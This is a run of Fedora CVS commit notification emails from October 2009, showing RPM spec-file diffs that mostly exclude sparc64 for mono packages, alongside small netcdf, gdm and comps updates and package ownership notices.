Subject: rpms/mono-nunit22/F-12 mono-nunit22.spec,1.14,1.15
Message-ID: <20091026191006.2D9F511C02C6@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-nunit22/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13967

Modified Files:
	mono-nunit22.spec 
Log Message:
exlude sparc64



Index: mono-nunit22.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-nunit22/F-12/mono-nunit22.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- mono-nunit22.spec	25 Jul 2009 15:01:48 -0000	1.14
+++ mono-nunit22.spec	26 Oct 2009 19:10:05 -0000	1.15
@@ -2,7 +2,7 @@
 
 Name:	 	mono-nunit22
 Version:	2.2.10
-Release:	10%{?dist}
+Release:	11%{?dist}
 Summary:	Unit-testing framework for .NET
 URL:		http://www.nunit.org/
 License:	MIT with acknowledgement
@@ -18,7 +18,7 @@ BuildRequires:	unzip
 # stuff comes out of the main mono package. This is the 2.2 compat version.
 Epoch:		1
 # There is no nant for ppc/ppc64
-ExcludeArch:	ppc64 ppc
+ExcludeArch:	ppc64 ppc sparc64
 
 %description
 NUnit is a unit-testing framework for all .Net languages. Initially ported from
@@ -78,6 +78,9 @@ rm -rf -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1:2.2.10-11
+- ExcludeArch sparc64  no mono
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:2.2.10-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 19:11:20 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:11:20 +0000 (UTC)
Subject: rpms/mono-nunit22/devel mono-nunit22.spec,1.14,1.15
Message-ID: <20091026191120.C64F511C02C6@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-nunit22/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14658

Modified Files:
	mono-nunit22.spec 
Log Message:
exclude sparc64



Index: mono-nunit22.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-nunit22/devel/mono-nunit22.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- mono-nunit22.spec	25 Jul 2009 15:01:48 -0000	1.14
+++ mono-nunit22.spec	26 Oct 2009 19:11:20 -0000	1.15
@@ -2,7 +2,7 @@
 
 Name:	 	mono-nunit22
 Version:	2.2.10
-Release:	10%{?dist}
+Release:	11%{?dist}
 Summary:	Unit-testing framework for .NET
 URL:		http://www.nunit.org/
 License:	MIT with acknowledgement
@@ -18,7 +18,7 @@ BuildRequires:	unzip
 # stuff comes out of the main mono package. This is the 2.2 compat version.
 Epoch:		1
 # There is no nant for ppc/ppc64
-ExcludeArch:	ppc64 ppc
+ExcludeArch:	ppc64 ppc sparc64
 
 %description
 NUnit is a unit-testing framework for all .Net languages. Initially ported from
@@ -78,6 +78,9 @@ rm -rf -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1:2.2.10-11
+- ExcludeArch sparc64  no mono
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:2.2.10-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From orion at fedoraproject.org  Mon Oct 26 19:12:07 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Mon, 26 Oct 2009 19:12:07 +0000 (UTC)
Subject: rpms/netcdf/F-12 netcdf.spec,1.37,1.38
Message-ID: <20091026191207.5C0E811C02C6@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/netcdf/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15060

Modified Files:
	netcdf.spec 
Log Message:
* Fri Oct 23 2009 Orion Poplawski <orion at cora.nwra.com> - 4.0.1-3
- Don't ship multi-lib incompatible nc-config



Index: netcdf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/netcdf/F-12/netcdf.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- netcdf.spec	25 Jul 2009 18:03:20 -0000	1.37
+++ netcdf.spec	26 Oct 2009 19:12:06 -0000	1.38
@@ -1,6 +1,6 @@
 Name:           netcdf
 Version:        4.0.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Libraries for the Unidata network Common Data Form
 
 Group:          Applications/Engineering
@@ -88,6 +88,8 @@ mkdir -p ${RPM_BUILD_ROOT}%{_fmoddir}
   ${RPM_BUILD_ROOT}%{_includedir}/netcdf
 /bin/rm -f ${RPM_BUILD_ROOT}%{_libdir}/*.la
 /bin/rm -f ${RPM_BUILD_ROOT}%{_infodir}/dir
+#New with 4.0.1, and not multi-lib compatible
+/bin/rm -f ${RPM_BUILD_ROOT}%{_bindir}/nc-config
 
 %check
 make check
@@ -111,7 +113,8 @@ fi
 %files
 %defattr(-,root,root,-)
 %doc COPYRIGHT README
-%{_bindir}/*
+%{_bindir}/ncdump
+%{_bindir}/ncgen
 %{_libdir}/*.so.*
 %{_mandir}/man1/*
 %{_infodir}/*
@@ -130,6 +133,9 @@ fi
 
 
 %changelog
+* Fri Oct 23 2009 Orion Poplawski <orion at cora.nwra.com> - 4.0.1-3
+- Don't ship multi-lib incompatible nc-config
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.0.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From notting at fedoraproject.org  Mon Oct 26 19:13:56 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Mon, 26 Oct 2009 19:13:56 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.172,1.173 comps-f13.xml.in,1.59,1.60
Message-ID: <20091026191356.2688E11C0264@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/extras/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15686

Modified Files:
	comps-f12.xml.in comps-f13.xml.in 
Log Message:
Fix package name. (#530699)



Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f12.xml.in,v
retrieving revision 1.172
retrieving revision 1.173
diff -u -p -r1.172 -r1.173
--- comps-f12.xml.in	23 Oct 2009 21:32:12 -0000	1.172
+++ comps-f12.xml.in	26 Oct 2009 19:13:55 -0000	1.173
@@ -457,7 +457,7 @@
       <packagereq type="conditional" requires="hunspell">hunspell-bn</packagereq>
       <packagereq type="conditional" requires="hyphen">hyphen-bn</packagereq>
       <packagereq type="conditional" requires="xorg-x11-server-Xorg">ibus-m17n</packagereq>
-      <packagereq type="conditional" requires="kdelibs3">kde-i18n-Bengali-India</packagereq>
+      <packagereq type="conditional" requires="kdelibs3">kde-i18n-Bengali</packagereq>
       <packagereq type="conditional" requires="kdelibs">kde-l10n-Bengali-India</packagereq>
       <packagereq type="conditional" requires="moodle">moodle-bn</packagereq>
       <packagereq type="conditional" requires="openoffice.org-core">openoffice.org-langpack-bn</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f13.xml.in,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- comps-f13.xml.in	26 Oct 2009 19:03:38 -0000	1.59
+++ comps-f13.xml.in	26 Oct 2009 19:13:55 -0000	1.60
@@ -456,7 +456,7 @@
       <packagereq type="conditional" requires="hunspell">hunspell-bn</packagereq>
       <packagereq type="conditional" requires="hyphen">hyphen-bn</packagereq>
       <packagereq type="conditional" requires="xorg-x11-server-Xorg">ibus-m17n</packagereq>
-      <packagereq type="conditional" requires="kdelibs3">kde-i18n-Bengali-India</packagereq>
+      <packagereq type="conditional" requires="kdelibs3">kde-i18n-Bengali</packagereq>
       <packagereq type="conditional" requires="kdelibs">kde-l10n-Bengali-India</packagereq>
       <packagereq type="conditional" requires="moodle">moodle-bn</packagereq>
       <packagereq type="conditional" requires="openoffice.org-core">openoffice.org-langpack-bn</packagereq>



From ausil at fedoraproject.org  Mon Oct 26 19:14:28 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:14:28 +0000 (UTC)
Subject: rpms/log4net/F-12 log4net.spec,1.6,1.7
Message-ID: <20091026191428.0375B11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/log4net/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15844

Modified Files:
	log4net.spec 
Log Message:
Exlcude sparc64



Index: log4net.spec
===================================================================
RCS file: /cvs/pkgs/rpms/log4net/F-12/log4net.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- log4net.spec	30 Jul 2009 22:00:08 -0000	1.6
+++ log4net.spec	26 Oct 2009 19:14:27 -0000	1.7
@@ -16,12 +16,12 @@ URL:		http://logging.apache.org/log4net/
 License:	ASL 2.0
 Group:		System Environment/Libraries
 Version:	1.2.10
-Release:	7%{?dist}
+Release:	8%{?dist}
 Summary:	A .NET framework for logging
 Source:		http://cvs.apache.org/dist/incubator/log4net/1.2.10/incubating-log4net-1.2.10.zip
 Source1:	log4net.pc
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
-ExcludeArch:	ppc64 ppc
+ExcludeArch:	ppc64 ppc sparc64
 
 # %define debug_package %{nil}
 # This is a mono package
@@ -80,6 +80,9 @@ gacutil -i bin/mono/1.0/release/log4net.
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.2.10-8
+- Exclude sparc64  no mono
+
 * Thu Jul 30 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.2.10-7
 - rebuild to get nant cooking again
 



From rstrode at fedoraproject.org  Mon Oct 26 19:14:39 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Mon, 26 Oct 2009 19:14:39 +0000 (UTC)
Subject: rpms/gdm/F-12 gdm.spec,1.506,1.507
Message-ID: <20091026191439.9AE7D11C0264@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15881

Modified Files:
	gdm.spec 
Log Message:
Fix up spec file that somehow got hosed



Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.506
retrieving revision 1.507
diff -u -p -r1.506 -r1.507
--- gdm.spec	26 Oct 2009 19:06:52 -0000	1.506
+++ gdm.spec	26 Oct 2009 19:14:39 -0000	1.507
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 6%{?dist}
+Release: 10%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -104,6 +104,7 @@ Patch20: gdm-2.28.1-move-shutdown-functi
 Patch21: fix-clock.patch
 Patch22: fix-timer.patch
 Patch23: fix-na-tray.patch
+Patch24: fix-computer-info.patch
 
 Patch97: gdm-multistack.patch
 # Fedora-specific
@@ -153,6 +154,7 @@ The GDM fingerprint plugin provides func
 %patch21 -p1 -b .fix-clock
 %patch22 -p1 -b .fix-timer
 %patch23 -p1 -b .fix-na-tray
+%patch24 -p1 -b .fix-computer-info
 
 %patch97 -p1 -b .multistack
 %patch98 -p1 -b .bubble-location
@@ -405,9 +407,23 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
-* Mon Oct 26 2009 Ray Strode <rstrode at redhat.com> 2.28.1-6
+* Mon Oct 26 2009 Ray Strode <rstrode at redhat.com> 2.28.1-10
 - Position shutdown menu properly on multihead machines
 
+* Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-9
+- Don't show hostname by default if it's localhost
+
+* Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-8
+- Attempt to fix crash some users see.
+- Clean up rebase
+
+* Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-7
+- Show Other user even when there are no other users
+  (bug 527920)
+
+* Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-6
+- Properly read default keyboard layout (bug 530452)
+
 * Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-5
 - Remove tool tip from login button
 



From orion at fedoraproject.org  Mon Oct 26 19:15:18 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Mon, 26 Oct 2009 19:15:18 +0000 (UTC)
Subject: rpms/netcdf/F-12 netcdf.spec,1.38,1.39
Message-ID: <20091026191518.5319711C02BA@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/netcdf/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16113

Modified Files:
	netcdf.spec 
Log Message:
Require gcc-gfortran for -devel (bug #483469)



Index: netcdf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/netcdf/F-12/netcdf.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- netcdf.spec	26 Oct 2009 19:12:06 -0000	1.38
+++ netcdf.spec	26 Oct 2009 19:15:17 -0000	1.39
@@ -17,6 +17,7 @@ BuildRequires:  hdf5-devel
 Summary:        Development files for netcdf
 Group:          Development/Libraries
 Requires:       %{name} = %{version}-%{release}
+Requires:       gcc-gfortran%{_isa}
 Requires:       pkgconfig
 
 %package static
@@ -135,6 +136,7 @@ fi
 %changelog
 * Fri Oct 23 2009 Orion Poplawski <orion at cora.nwra.com> - 4.0.1-3
 - Don't ship multi-lib incompatible nc-config
+- Require gcc-gfortran for -devel (bug #483469)
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.0.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From ausil at fedoraproject.org  Mon Oct 26 19:15:30 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:15:30 +0000 (UTC)
Subject: rpms/log4net/devel log4net.spec,1.6,1.7
Message-ID: <20091026191530.1090B11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/log4net/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16135

Modified Files:
	log4net.spec 
Log Message:
Exclude sparc64



Index: log4net.spec
===================================================================
RCS file: /cvs/pkgs/rpms/log4net/devel/log4net.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- log4net.spec	30 Jul 2009 22:00:08 -0000	1.6
+++ log4net.spec	26 Oct 2009 19:15:29 -0000	1.7
@@ -16,12 +16,12 @@ URL:		http://logging.apache.org/log4net/
 License:	ASL 2.0
 Group:		System Environment/Libraries
 Version:	1.2.10
-Release:	7%{?dist}
+Release:	8%{?dist}
 Summary:	A .NET framework for logging
 Source:		http://cvs.apache.org/dist/incubator/log4net/1.2.10/incubating-log4net-1.2.10.zip
 Source1:	log4net.pc
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
-ExcludeArch:	ppc64 ppc
+ExcludeArch:	ppc64 ppc sparc64
 
 # %define debug_package %{nil}
 # This is a mono package
@@ -80,6 +80,9 @@ gacutil -i bin/mono/1.0/release/log4net.
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.2.10-8
+- Exclude sparc64  no mono
+
 * Thu Jul 30 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.2.10-7
 - rebuild to get nant cooking again
 



From ausil at fedoraproject.org  Mon Oct 26 19:19:09 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:19:09 +0000 (UTC)
Subject: rpms/notify-sharp/F-12 notify-sharp.spec,1.5,1.6
Message-ID: <20091026191909.A75BB11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/notify-sharp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17550

Modified Files:
	notify-sharp.spec 
Log Message:
ExcludeArch sparc64



Index: notify-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/notify-sharp/F-12/notify-sharp.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- notify-sharp.spec	20 Aug 2009 23:19:03 -0000	1.5
+++ notify-sharp.spec	26 Oct 2009 19:19:09 -0000	1.6
@@ -3,7 +3,7 @@
 
 Name:           notify-sharp
 Version:        0.4.0
-Release:        0.9.%{svndate}svn%{?dist}
+Release:        0.10.%{svndate}svn%{?dist}
 Summary:        A C# implementation for Desktop Notifications
 
 Group:          System Environment/Libraries
@@ -18,7 +18,7 @@ BuildRequires:  mono-devel, gtk-sharp2-d
 BuildRequires:  autoconf, automake, libtool
 
 BuildRequires:  monodoc-devel
-ExclusiveArch:  %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha s390 s390x
+ExcludeArch:    sparc64
 
 %description
 notify-sharp is a C# client implementation for Desktop Notifications,
@@ -82,6 +82,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/monodoc/sources/*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.4.0-0.10.20080912svn
+- Switch to ExcludeArch sparc64 has no mono
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.4.0-0.9.20080912svn.1
 - Rebuild to pick up ppc64 builds
 



From ausil at fedoraproject.org  Mon Oct 26 19:20:00 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:20:00 +0000 (UTC)
Subject: rpms/notify-sharp/devel notify-sharp.spec,1.5,1.6
Message-ID: <20091026192000.DBA7A11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/notify-sharp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17754

Modified Files:
	notify-sharp.spec 
Log Message:
ExcludeArch sparc64



Index: notify-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/notify-sharp/devel/notify-sharp.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- notify-sharp.spec	20 Aug 2009 23:19:03 -0000	1.5
+++ notify-sharp.spec	26 Oct 2009 19:20:00 -0000	1.6
@@ -3,7 +3,7 @@
 
 Name:           notify-sharp
 Version:        0.4.0
-Release:        0.9.%{svndate}svn%{?dist}
+Release:        0.10.%{svndate}svn%{?dist}
 Summary:        A C# implementation for Desktop Notifications
 
 Group:          System Environment/Libraries
@@ -18,7 +18,7 @@ BuildRequires:  mono-devel, gtk-sharp2-d
 BuildRequires:  autoconf, automake, libtool
 
 BuildRequires:  monodoc-devel
-ExclusiveArch:  %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha s390 s390x
+ExcludeArch:    sparc64
 
 %description
 notify-sharp is a C# client implementation for Desktop Notifications,
@@ -82,6 +82,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/monodoc/sources/*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.4.0-0.10.20080912svn
+- Switch to ExcludeArch sparc64 has no mono
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.4.0-0.9.20080912svn.1
 - Rebuild to pick up ppc64 builds
 



From pkgdb at fedoraproject.org  Mon Oct 26 19:21:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 19:21:25 +0000
Subject: [pkgdb] comps-extras ownership updated
Message-ID: <20091026192125.AA52310F80E@bastion2.fedora.phx.redhat.com>

Package comps-extras in Fedora devel is now owned by notting

To make changes to this package see:
  /pkgdb/packages/name/comps-extras



From pkgdb at fedoraproject.org  Mon Oct 26 19:21:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 19:21:42 +0000
Subject: [pkgdb] comps-extras ownership updated
Message-ID: <20091026192142.8728410F87F@bastion2.fedora.phx.redhat.com>

Package comps-extras in Fedora 12 is now owned by notting

To make changes to this package see:
  /pkgdb/packages/name/comps-extras



From ausil at fedoraproject.org  Mon Oct 26 19:22:48 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:22:48 +0000 (UTC)
Subject: rpms/ndesk-dbus/F-12 ndesk-dbus.spec,1.14,1.15
Message-ID: <20091026192248.3865611C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/ndesk-dbus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19692

Modified Files:
	ndesk-dbus.spec 
Log Message:
exclude sparc64



Index: ndesk-dbus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ndesk-dbus/F-12/ndesk-dbus.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- ndesk-dbus.spec	30 Jul 2009 03:17:34 -0000	1.14
+++ ndesk-dbus.spec	26 Oct 2009 19:22:48 -0000	1.15
@@ -2,7 +2,7 @@
 
 Name:			ndesk-dbus
 Version:		0.6.1a
-Release:		7%{?dist}
+Release:		8%{?dist}
 Summary:		Managed C# implementation of DBus
 
 License:		MIT
@@ -17,6 +17,8 @@ BuildRequires:		mono-devel
 
 Requires:		mono-core
 
+ExcludeArch:            sparc64
+
 %description
 Managed C# implementation of DBus
 
@@ -60,6 +62,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/ndesk-dbus-1.0.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.6.1a-8
+- ExcludeArch sparc64
+
 * Wed Jul 29 2009 Peter Gordon <peter at thecodergeek.com> - 0.6.1a-7
 - Correct version number in previous %%changelog entry.
 - Apply patch from Torello Querci to fix byte-alignment when reading from the



From ausil at fedoraproject.org  Mon Oct 26 19:23:45 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:23:45 +0000 (UTC)
Subject: rpms/ndesk-dbus/devel ndesk-dbus.spec,1.15,1.16
Message-ID: <20091026192345.DC24B11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/ndesk-dbus/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19921

Modified Files:
	ndesk-dbus.spec 
Log Message:
Exclude sparc64



Index: ndesk-dbus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ndesk-dbus/devel/ndesk-dbus.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- ndesk-dbus.spec	23 Oct 2009 00:07:00 -0000	1.15
+++ ndesk-dbus.spec	26 Oct 2009 19:23:44 -0000	1.16
@@ -1,21 +1,24 @@
 %define			debug_package %{nil}
 
 Name:			ndesk-dbus
-Version:		0.6.1b
-Release:		1%{?dist}
+Version:		0.6.1a
+Release:		8%{?dist}
 Summary:		Managed C# implementation of DBus
 
 License:		MIT
 Group:			System Environment/Libraries
 URL:			http://www.ndesk.org/DBusSharp
-#Source0:		http://www.ndesk.org/archive/dbus-sharp/ndesk-dbus-%{version}.tar.gz
-Source0:                %{name}-%{version}.tar.bz2
+Source0:		http://www.ndesk.org/archive/dbus-sharp/ndesk-dbus-%{version}.tar.gz
 BuildRoot:		%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+Patch0:			%{name}-sugar-datastore.patch
+
 BuildRequires:		mono-devel
 
 Requires:		mono-core
 
+ExcludeArch:            sparc64
+
 %description
 Managed C# implementation of DBus
 
@@ -30,6 +33,7 @@ Development files for ndesk-dbus
 
 %prep
 %setup -q
+%patch0 -p1 -b .sugar-datastore
 
 
 %build
@@ -58,9 +62,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/ndesk-dbus-1.0.pc
 
 %changelog
-* Thu Oct 22 2009 Michel Salim <salimma at fedoraproject.org> - 0.6.1b-1
-- Update to 0.6.1b (taken from mono-zeroconf)
-- Drop Sugar patch; already applied
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.6.1a-8
+- ExcludeArch sparc64
 
 * Wed Jul 29 2009 Peter Gordon <peter at thecodergeek.com> - 0.6.1a-7
 - Correct version number in previous %%changelog entry.



From ausil at fedoraproject.org  Mon Oct 26 19:26:17 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:26:17 +0000 (UTC)
Subject: rpms/ipod-sharp/F-12 ipod-sharp.spec,1.21,1.22
Message-ID: <20091026192617.4979B11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/ipod-sharp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20884

Modified Files:
	ipod-sharp.spec 
Log Message:
excludeArch sparc64



Index: ipod-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ipod-sharp/F-12/ipod-sharp.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- ipod-sharp.spec	20 Sep 2009 09:51:22 -0000	1.21
+++ ipod-sharp.spec	26 Oct 2009 19:26:16 -0000	1.22
@@ -3,7 +3,7 @@
 
 Name:    ipod-sharp
 Version: 0.8.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: Support for high level features of Apple's iPod
 
 Group:   Development/Libraries
@@ -13,8 +13,8 @@ Source0: http://banshee-project.org/file
 Patch0:  ipod-sharp-0.8.0-libdir.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-# We only have mono on these arches:
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+# no mono on these arches
+ExcludeArch: sparc64
 
 BuildRequires: podsleuth-devel
 BuildRequires: mono-devel
@@ -65,6 +65,9 @@ make install DESTDIR=${RPM_BUILD_ROOT} \
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.8.2-2
+- ExcludeArch sparc64
+
 * Fri Sep 18 2009 Christian Krause <chkr at fedoraproject.org> - 0.8.2-1
 - Update to new upstream version 0.8.2
 - Remove unneeded libipoddevice BR



From ausil at fedoraproject.org  Mon Oct 26 19:27:12 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:27:12 +0000 (UTC)
Subject: rpms/ipod-sharp/devel ipod-sharp.spec,1.21,1.22
Message-ID: <20091026192712.D960311C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/ipod-sharp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21457

Modified Files:
	ipod-sharp.spec 
Log Message:
Exclude Aparc64



Index: ipod-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ipod-sharp/devel/ipod-sharp.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- ipod-sharp.spec	20 Sep 2009 09:51:22 -0000	1.21
+++ ipod-sharp.spec	26 Oct 2009 19:27:12 -0000	1.22
@@ -3,7 +3,7 @@
 
 Name:    ipod-sharp
 Version: 0.8.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: Support for high level features of Apple's iPod
 
 Group:   Development/Libraries
@@ -13,8 +13,8 @@ Source0: http://banshee-project.org/file
 Patch0:  ipod-sharp-0.8.0-libdir.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-# We only have mono on these arches:
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+# no mono on these arches
+ExcludeArch: sparc64
 
 BuildRequires: podsleuth-devel
 BuildRequires: mono-devel
@@ -65,6 +65,9 @@ make install DESTDIR=${RPM_BUILD_ROOT} \
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.8.2-2
+- ExcludeArch sparc64
+
 * Fri Sep 18 2009 Christian Krause <chkr at fedoraproject.org> - 0.8.2-1
 - Update to new upstream version 0.8.2
 - Remove unneeded libipoddevice BR



From ausil at fedoraproject.org  Mon Oct 26 19:30:03 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:30:03 +0000 (UTC)
Subject: rpms/boo/F-12 boo.spec,1.27,1.28
Message-ID: <20091026193003.A109311C02BB@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/boo/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22344

Modified Files:
	boo.spec 
Log Message:
ExcludeArch sparc64



Index: boo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/boo/F-12/boo.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- boo.spec	6 Oct 2009 20:50:10 -0000	1.27
+++ boo.spec	26 Oct 2009 19:30:03 -0000	1.28
@@ -4,7 +4,7 @@
 Summary: An OO statically typed language for CLI
 Name: boo
 Version: 0.9.2.3383
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: MIT
 Group: Development/Languages
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
